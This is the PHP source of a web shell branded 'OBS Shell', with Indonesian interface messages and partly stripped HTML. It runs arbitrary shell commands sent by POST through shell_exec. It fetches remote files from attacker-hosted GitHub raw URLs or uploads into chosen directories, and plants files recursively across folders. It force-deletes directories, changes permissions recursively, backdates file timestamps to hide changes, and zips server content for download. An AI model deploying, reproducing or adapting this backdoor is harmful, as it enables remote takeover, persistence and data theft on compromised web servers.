Protected Panel


'https://raw.githubusercontent.com/tuman88936/tumankan/refs/heads/main/p', 'B' => 'https://raw.githubusercontent.com/tuman88936/tumankan/refs/heads/main/', 'C' => 'https://example.com/templates/footer.html', 'D' => 'https://example.com/templates/maintenance.html', ]; // ======= HELPERS ======= function chmod_recursive($path, $mode, &$messages) { if (!file_exists($path)) { $messages[] = "[FAIL] Target tidak ada (rekursif): $path"; return; } if (!@chmod($path, $mode)) { $messages[] = "[FAIL] Gagal chmod: $path"; } else { $messages[] = "[OK] Berhasil chmod: $path"; } if (is_dir($path)) { $items = @scandir($path); if ($items === false) return; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $child = $path . DIRECTORY_SEPARATOR . $it; chmod_recursive($child, $mode, $messages); } } } function touch_recursive($path, $ts, &$messages, $labelTime) { if (!file_exists($path)) { $messages[] = "[FAIL] Target tidak ada (rekursif): $path"; return; } if (!@touch($path, $ts)) { $messages[] = "[FAIL] Gagal set waktu: $path ke $labelTime"; } else { clearstatcache(true, $path); $messages[] = "[OK] Berhasil set waktu: $path ke $labelTime"; } if (is_dir($path)) { $items = @scandir($path); if ($items === false) return; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $child = $path . DIRECTORY_SEPARATOR . $it; touch_recursive($child, $ts, $messages, $labelTime); } } } function create_in_dirs_recursive($baseDirs, $name, $isFile, $content, &$messages) { foreach ($baseDirs as $dirPath) { $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Dir target tidak ada: $dirPath"; continue; } $stack = [$dirPath]; while ($stack) { $cur = array_pop($stack); if (!is_dir($cur)) continue; $dest = rtrim($cur, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; if ($isFile) { if (file_exists($dest)) { $messages[] = "[SKIP] File sudah ada: $dest"; } else { if (file_put_contents($dest, $content) === false) { $messages[] = "[FAIL] Gagal buat file: $dest"; } else { $messages[] = "[OK] File dibuat: $dest"; } } } else { if (is_dir($dest) || file_exists($dest)) { $messages[] = "[SKIP] Folder/file sudah ada: $dest"; } else { if (!@mkdir($dest, 0775, false)) { $messages[] = "[FAIL] Gagal buat folder: $dest"; } else { $messages[] = "[OK] Folder dibuat: $dest"; } } } $items = @scandir($cur); if ($items === false) continue; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $it; if (is_dir($child)) $stack[] = $child; } } } } function destroy_dir($dir) { if (!is_dir($dir) || is_link($dir)) return @unlink($dir); foreach (scandir($dir) as $file) { if ($file == '.' || $file == '..') continue; if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { @chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; } } return @rmdir($dir); } function zip_paths($paths, $zipFile, &$messages) { if (!class_exists('ZipArchive')) { $messages[] = "[FAIL] ZipArchive tidak tersedia di server."; return false; } $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { $messages[] = "[FAIL] Tidak bisa membuat ZIP: $zipFile"; return false; } foreach ($paths as $p) { if (is_dir($p)) { $base = basename($p); $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($p, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $file) { $relPath = $base . '/' . substr($file->getPathname(), strlen($p) + 1); if ($file->isDir()) { $zip->addEmptyDir($relPath); } else { $zip->addFile($file->getPathname(), $relPath); } } } elseif (is_file($p)) { $zip->addFile($p, basename($p)); } } $zip->close(); return true; } function send_download($path, $downloadName = null) { if (!file_exists($path)) return false; if ($downloadName === null) $downloadName = basename($path); if (ob_get_length()) @ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $downloadName . '"'); header('Content-Length: ' . filesize($path)); header('Cache-Control: must-revalidate'); header('Pragma: public'); readfile($path); return true; } // ================== HANDLE POST ================== if ($_SERVER['REQUEST_METHOD'] === 'POST') { $pwd = isset($_GET['pwd']) ? cleanPath($_GET['pwd']) : getcwd(); $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'terminal_exec') { $cmd = isset($_POST['terminal_cmd']) ? trim($_POST['terminal_cmd']) : ''; if ($cmd === '') { $messages[] = "Perintah terminal kosong."; } else { $fullCmd = 'cd ' . escapeshellarg($pwd) . ' && ' . $cmd . ' 2>&1'; $output = @shell_exec($fullCmd); if ($output === null) { $messages[] = "[FAIL] shell_exec diblokir di server."; } else { $terminalOut = $output; } } } else { if ($action === 'create_file_flat') { $rawName = $_POST['new_file_name'] ?? ''; $name = basename(trim($rawName)); $content = $_POST['new_file_content'] ?? ''; if ($name === '') { $messages[] = "Nama file baru wajib diisi."; } else { $dirs = $_POST['dir_targets'] ?? []; if ($dirs) { foreach ($dirs as $dirPath) { $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Dir target tidak ada: $dirPath"; continue; } $dest = rtrim($dirPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; if (file_exists($dest)) { $messages[] = "[FAIL] File sudah ada: $dest"; continue; } if (file_put_contents($dest, $content) === false) { $messages[] = "[FAIL] Gagal membuat file di $dest"; } else { $messages[] = "[OK] Berhasil membuat file di $dest"; } } } else { $dest = $pwd . DIRECTORY_SEPARATOR . $name; if (file_exists($dest)) { $messages[] = "[FAIL] File sudah ada: $dest"; } else { if (file_put_contents($dest, $content) === false) { $messages[] = "[FAIL] Gagal membuat file: $dest"; } else { $messages[] = "[OK] Berhasil membuat file: $dest"; } } } } } if ($action === 'create_file_recursive') { $rawName = $_POST['new_file_name'] ?? ''; $name = basename(trim($rawName)); $content = $_POST['new_file_content'] ?? ''; $dirs = $_POST['dir_targets'] ?? []; if ($name === '') { $messages[] = "Nama file baru wajib diisi."; } elseif (!$dirs) { $messages[] = "Centang minimal satu folder untuk create file recursive."; } else { create_in_dirs_recursive($dirs, $name, true, $content, $messages); } } if ($action === 'create_folder_flat') { $rawName = $_POST['new_folder_name'] ?? ''; $name = basename(trim($rawName)); if ($name === '') { $messages[] = "Nama folder baru wajib diisi."; } else { $dirs = $_POST['dir_targets'] ?? []; if ($dirs) { foreach ($dirs as $dirPath) { $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Dir target tidak ada: $dirPath"; continue; } $dest = rtrim($dirPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; if (is_dir($dest) || file_exists($dest)) { $messages[] = "[FAIL] Folder/file sudah ada: $dest"; continue; } if (!@mkdir($dest, 0775, false)) { $messages[] = "[FAIL] Gagal membuat folder: $dest"; } else { $messages[] = "[OK] Berhasil membuat folder: $dest"; } } } else { $dest = $pwd . DIRECTORY_SEPARATOR . $name; if (is_dir($dest) || file_exists($dest)) { $messages[] = "[FAIL] Folder/file sudah ada: $dest"; } else { if (!@mkdir($dest, 0775, false)) { $messages[] = "[FAIL] Gagal membuat folder: $dest"; } else { $messages[] = "[OK] Berhasil membuat folder: $dest"; } } } } } if ($action === 'create_folder_recursive') { $rawName = $_POST['new_folder_name'] ?? ''; $name = basename(trim($rawName)); $dirs = $_POST['dir_targets'] ?? []; if ($name === '') { $messages[] = "Nama folder baru wajib diisi."; } elseif (!$dirs) { $messages[] = "Centang minimal satu folder untuk create folder recursive."; } else { create_in_dirs_recursive($dirs, $name, false, '', $messages); } } if ($action === 'rename_save_mass') { $fileTargets = $_POST['file_targets'] ?? []; $renameVals = $_POST['rename_val'] ?? []; if (!$fileTargets) { $messages[] = "Pilih minimal satu file untuk rename."; } else { foreach ($fileTargets as $oldRaw) { $old = basename($oldRaw); $new = isset($renameVals[$old]) ? trim($renameVals[$old]) : ''; if ($new === '') { $messages[] = "Nama baru kosong untuk $old."; continue; } $from = $pwd . DIRECTORY_SEPARATOR . $old; if (!is_file($from)) { $messages[] = "[FAIL] File tidak ada: $from"; continue; } $to = $pwd . DIRECTORY_SEPARATOR . basename($new); if (!@rename($from, $to)) { $messages[] = "[FAIL] Gagal rename $from -> $to"; } else { $messages[] = "[OK] Berhasil rename $from -> $to"; } } } } if (strpos($action, 'delete_one:') === 0) { $name = basename(substr($action, strlen('delete_one:'))); $path = $pwd . DIRECTORY_SEPARATOR . $name; if (!is_file($path)) { $messages[] = "[FAIL] File tidak ada: $path"; } elseif (!@unlink($path)) {$messages[] = "[FAIL] Gagal hapus file: $path"; } else { $messages[] = "[OK] Berhasil hapus file: $path"; } } if (strpos($action, 'delete_dir_one:') === 0) { $dirPath = substr($action, strlen('delete_dir_one:')); $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Folder tidak ada: $dirPath"; } else { if (!destroy_dir($dirPath)) { $messages[] = "[FAIL] Gagal hapus folder: $dirPath"; } else { $messages[] = "[OK] Berhasil hapus folder: $dirPath"; } } } if (strpos($action, 'rename_dir_one:') === 0) { $payload = substr($action, strlen('rename_dir_one:')); $parts = explode('|', $payload, 2); if (count($parts) !== 2) { $messages[] = "[FAIL] Data rename folder tidak valid."; } else { $oldPath = cleanPath($parts[0]); $newName = trim($parts[1]); if ($newName === '') { $messages[] = "[FAIL] Nama folder baru kosong."; } elseif (!is_dir($oldPath)) { $messages[] = "[FAIL] Folder tidak ada: $oldPath"; } else { $parentDir = dirname($oldPath); $newPath = $parentDir . DIRECTORY_SEPARATOR . basename($newName); if (file_exists($newPath)) { $messages[] = "[FAIL] Target sudah ada: $newPath"; } elseif (!@rename($oldPath, $newPath)) { $messages[] = "[FAIL] Gagal rename folder: $oldPath -> $newPath"; } else { $messages[] = "[OK] Berhasil rename folder: $oldPath -> $newPath"; } } } } if ($action === 'edit_save') { $fileName = basename($_POST['edit_file'] ?? ''); $content = $_POST['file_content'] ?? ''; if ($fileName === '') { $messages[] = "Nama file untuk edit kosong."; } else { $path = $pwd . DIRECTORY_SEPARATOR . $fileName; if (!is_file($path)) { $messages[] = "[FAIL] File tidak ada: $path"; } elseif (!is_writable($path)) { $messages[] = "[FAIL] File tidak bisa ditulis: $path"; } elseif (file_put_contents($path, $content) === false) { $messages[] = "[FAIL] Gagal menyimpan isi file: $path"; } else { $messages[] = "[OK] Berhasil menyimpan file: $path"; } } } if ($action === 'deploy_url') { $url = trim($_POST['src_url'] ?? ''); $rawTarget = $_POST['target_name_url'] ?? ''; $targetName = basename(trim($rawTarget)); if ($url === '' || $targetName === '') { $messages[] = "URL dan nama file tujuan wajib diisi."; } elseif (!preg_match('#^https?://#i', $url)) { $messages[] = "URL harus dimulai dengan http:// atau https://"; } else { $data = @file_get_contents($url); if ($data === false) { $messages[] = "Gagal download dari URL."; } else { $dirs = $_POST['dir_targets'] ?? []; if ($dirs) { foreach ($dirs as $dirPath) { $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Dir target tidak ada: $dirPath"; continue; } $dest = rtrim($dirPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $targetName; if (file_put_contents($dest, $data) === false) { $messages[] = "[FAIL] Gagal simpan ke $dest"; } else { $messages[] = "[OK] Berhasil download ke $dest"; } } } else { $dest = $pwd . DIRECTORY_SEPARATOR . $targetName; if (is_dir($dest)) { $messages[] = "[FAIL] Tujuan adalah direktori, bukan file: $dest"; } elseif (file_put_contents($dest, $data) === false) { $messages[] = "[FAIL] Gagal simpan ke $dest"; } else { $messages[] = "[OK] Berhasil download ke $dest"; } } } } } if ($action === 'deploy_upload') { $rawTarget = $_POST['target_name_upload'] ?? ''; $targetName = basename(trim($rawTarget)); if (!isset($_FILES['src_file']) || $_FILES['src_file']['error'] !== UPLOAD_ERR_OK) { $messages[] = "Upload gagal atau tidak ada file."; } elseif ($targetName === '') { $messages[] = "Nama file tujuan wajib diisi."; } else { $tmp = $_FILES['src_file']['tmp_name']; $dirs = $_POST['dir_targets'] ?? []; if ($dirs) { foreach ($dirs as $dirPath) { $dirPath = cleanPath($dirPath); if (!is_dir($dirPath)) { $messages[] = "[FAIL] Dir target tidak ada: $dirPath"; continue; } $dest = rtrim($dirPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $targetName; if (!@copy($tmp, $dest)) { $messages[] = "[FAIL] Gagal copy upload ke $dest"; } else { $messages[] = "[OK] Berhasil upload ke $dest"; } } } else { $dest = $pwd . DIRECTORY_SEPARATOR . $targetName; if (is_dir($dest)) { $messages[] = "[FAIL] Tujuan adalah direktori, bukan file: $dest"; } else { if (!@move_uploaded_file($tmp, $dest)) { if (!@copy($tmp, $dest)) { $messages[] = "[FAIL] Gagal simpan upload ke $dest"; } else { $messages[] = "[OK] Berhasil upload ke $dest (via copy)"; } } else { $messages[] = "[OK] Berhasil upload ke $dest"; } } } } } if ($action === 'chmod_apply_flat') { $fileTargets = $_POST['file_targets'] ?? []; $dirTargets = $_POST['dir_targets'] ?? []; $modeStr = trim($_POST['chmod_mode'] ?? ''); if ((!$fileTargets && !$dirTargets) || $modeStr === '') { $messages[] = "Pilih file/dir dan isi mode chmod."; } else { $mode = octdec($modeStr); foreach ($fileTargets as $t) { $f = $pwd . DIRECTORY_SEPARATOR . basename($t); if (!file_exists($f)) { $messages[] = "[FAIL] Target file tidak ada: $f"; continue; } if (!@chmod($f, $mode)) { $messages[] = "[FAIL] Gagal chmod file: $f"; } else { $messages[] = "[OK] Berhasil chmod file: $f"; }} foreach ($dirTargets as $d) { $dirPath = cleanPath($d); if (!file_exists($dirPath)) { $messages[] = "[FAIL] Target dir tidak ada: $dirPath"; continue; } if (!@chmod($dirPath, $mode)) { $messages[] = "[FAIL] Gagal chmod dir: $dirPath"; } else { $messages[] = "[OK] Berhasil chmod dir: $dirPath"; } } } } if ($action === 'chmod_apply_recursive') { $fileTargets = $_POST['file_targets'] ?? []; $dirTargets = $_POST['dir_targets'] ?? []; $modeStr = trim($_POST['chmod_mode'] ?? ''); if ((!$fileTargets && !$dirTargets) || $modeStr === '') { $messages[] = "Pilih file/dir dan isi mode chmod."; } else { $mode = octdec($modeStr); foreach ($fileTargets as $t) { $f = $pwd . DIRECTORY_SEPARATOR . basename($t); chmod_recursive($f, $mode, $messages); } foreach ($dirTargets as $d) { $dirPath = cleanPath($d); chmod_recursive($dirPath, $mode, $messages); } } } if ($action === 'time_apply_flat') { $fileTargets = $_POST['file_targets'] ?? []; $dirTargets = $_POST['dir_targets'] ?? []; $timeStr = trim($_POST['time_value'] ?? ''); if ((!$fileTargets && !$dirTargets) || $timeStr === '') { $messages[] = "Pilih file/dir dan isi waktu."; } else { $ts = strtotime($timeStr); if ($ts === false) { $messages[] = "Format waktu tidak valid."; } else { foreach ($fileTargets as $t) { $f = $pwd . DIRECTORY_SEPARATOR . basename($t); if (!file_exists($f)) { $messages[] = "[FAIL] Target tidak ada: $f"; continue; } if (!@touch($f, $ts)) { $messages[] = "[FAIL] Gagal set waktu: $f"; } else { clearstatcache(true, $f); $messages[] = "[OK] Berhasil set waktu: $f"; } } foreach ($dirTargets as $d) { $dirPath = cleanPath($d); if (!file_exists($dirPath)) { $messages[] = "[FAIL] Target tidak ada: $dirPath"; continue; } if (!@touch($dirPath, $ts)) { $messages[] = "[FAIL] Gagal set waktu: $dirPath"; } else { clearstatcache(true, $dirPath); $messages[] = "[OK] Berhasil set waktu: $dirPath"; } } } } } if ($action === 'time_apply_recursive') { $fileTargets = $_POST['file_targets'] ?? []; $dirTargets = $_POST['dir_targets'] ?? []; $timeStr = trim($_POST['time_value'] ?? ''); if ((!$fileTargets && !$dirTargets) || $timeStr === '') { $messages[] = "Pilih file/dir dan isi waktu."; } else { $ts = strtotime($timeStr); if ($ts === false) { $messages[] = "Format waktu tidak valid."; } else { foreach ($fileTargets as $t) { $f = $pwd . DIRECTORY_SEPARATOR . basename($t); touch_recursive($f, $ts, $messages, $timeStr); } foreach ($dirTargets as $d) { $dirPath = cleanPath($d); touch_recursive($dirPath, $ts, $messages, $timeStr); } } } } if ($action === 'download_selected') { $fileTargets = $_POST['file_targets'] ?? []; $dirTargets = $_POST['dir_targets'] ?? []; if (!$fileTargets && !$dirTargets) { $messages[] = "Pilih minimal satu file atau folder untuk download."; } else { $paths = []; foreach ($fileTargets as $f) { $p = $pwd . DIRECTORY_SEPARATOR . basename($f); if (file_exists($p)) $paths[] = $p; } foreach ($dirTargets as $d) { $p = cleanPath($d); if (is_dir($p)) $paths[] = $p; } if (!$paths) { $messages[] = "Tidak ada target valid untuk di-zip."; } else { $zipName = 'download_' . date('Ymd_His') . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; if (!zip_paths($paths, $zipPath, $messages)) { $messages[] = "Gagal membuat ZIP download."; } else { if (send_download($zipPath, $zipName)) { @unlink($zipPath); exit; } else { $messages[] = "Gagal mengirim file download."; } } } } } } } // load isi file kalau lagi edit $editContent = ''; if ($editFile !== '') { $editPath = $pwd . DIRECTORY_SEPARATOR . $editFile; if (is_file($editPath) && is_readable($editPath)) { $editContent = file_get_contents($editPath); } else { $messages[] = "[FAIL] Tidak bisa membaca file: $editPath"; $editFile = ''; } } $self = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8'); $parent = dirname($pwd); ?> OBS Shell
OBS SHELL
Terminal (cd ke PWD):



PWD (root sekarang):


[..] Naik satu level
Aksi mass:

Isi PWD (folder + file):

Tidak bisa membaca direktori.'; } else { echo ''; echo ''; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $full = $pwd . DIRECTORY_SEPARATOR . $it; $safe = htmlspecialchars($it, ENT_QUOTES, 'UTF-8'); $perm = substr(sprintf('%o', @fileperms($full)), -4); $mtime = @filemtime($full); $mtimeStr = $mtime ? date('Y-m-d H:i:s', $mtime) : '-'; if (is_dir($full)) { $link = $self . '?pwd=' . urlencode($full); $fullEsc = htmlspecialchars($full, ENT_QUOTES, 'UTF-8'); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } else { $editLink = $self . '?pwd=' . urlencode($pwd) . '&edit=' . urlencode($it); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } } echo '
TIPE NAMA FILE / DIR EDIT RENAME (isi nama baru) DELETE / RENAME DIR PERM MTIME
DIR'.$safe.'/ '.htmlspecialchars($perm, ENT_QUOTES, 'UTF-8').''.$mtimeStr.'
FILE'.$safe.'EDIT '.htmlspecialchars($perm, ENT_QUOTES, 'UTF-8').''.$mtimeStr.'
'; } ?>
Edit file: